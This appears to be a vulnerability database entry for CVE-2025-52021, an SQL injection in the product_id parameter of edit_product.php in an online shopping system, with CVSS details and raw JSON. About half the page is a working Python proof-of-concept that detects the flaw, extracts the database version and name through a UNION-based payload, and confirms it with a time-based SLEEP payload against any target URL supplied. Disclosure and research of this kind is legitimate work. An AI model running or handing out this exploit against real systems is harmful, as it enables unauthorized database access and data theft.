Security Vulnerability Report
中文
CVE-2025-52021 CVSS 9.8 CRITICAL

CVE-2025-52021

Published: 2025-10-07 17:15:34
Last Modified: 2026-04-15 00:35:42

Description

A SQL Injection vulnerability exists in the edit_product.php file of PuneethReddyHC Online Shopping System Advanced 1.0. The product_id GET parameter is unsafely passed to a SQL query without proper validation or parameterization.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PuneethReddyHC Online Shopping System Advanced 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-52021 - SQL Injection PoC # Target: PuneethReddyHC Online Shopping System Advanced 1.0 # Vulnerable file: edit_product.php # Vulnerable parameter: product_id (GET) import requests import sys TARGET_URL = "http://target.com/edit_product.php" def exploit_sql_injection(target_url, injection_payload): """ Exploit SQL injection in product_id parameter """ params = { "product_id": injection_payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def detect_injection(target_url): """Detect if the parameter is vulnerable to SQL injection""" # Test with single quote payload_quote = "1'" response_quote = exploit_sql_injection(target_url, payload_quote) # Test with normal value payload_normal = "1" response_normal = exploit_sql_injection(target_url, payload_normal) if response_quote and response_normal: if response_quote != response_normal: print("[+] Target appears to be vulnerable to SQL injection!") return True print("[-] Target does not appear to be vulnerable") return False def extract_data(target_url): """Extract database information using UNION-based injection""" # UNION-based injection to extract database version payload = "1' UNION SELECT 1,version(),database(),4,5,6,7,8,9,10-- -" response = exploit_sql_injection(target_url, payload) if response: print("[+] Database information extracted") # Parse response for database details return response return None def time_based_blind(target_url): """Time-based blind SQL injection to confirm vulnerability""" payload = "1' AND SLEEP(5)-- -" import time start_time = time.time() response = exploit_sql_injection(target_url, payload) elapsed_time = time.time() - start_time if elapsed_time >= 5: print(f"[+] Time-based injection confirmed (elapsed: {elapsed_time:.2f}s)") return True print(f"[-] Time-based injection not confirmed (elapsed: {elapsed_time:.2f}s)") return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Testing target: {target}") if detect_injection(target): print("[*] Attempting data extraction...") extract_data(target) print("[*] Confirming with time-based blind injection...") time_based_blind(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52021", "sourceIdentifier": "[email protected]", "published": "2025-10-07T17:15:33.570", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL Injection vulnerability exists in the edit_product.php file of PuneethReddyHC Online Shopping System Advanced 1.0. The product_id GET parameter is unsafely passed to a SQL query without proper validation or parameterization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://gist.github.com/hafizgemilang/c953d16c1459458667132e93359f3d6c", "source": "[email protected]"}]}}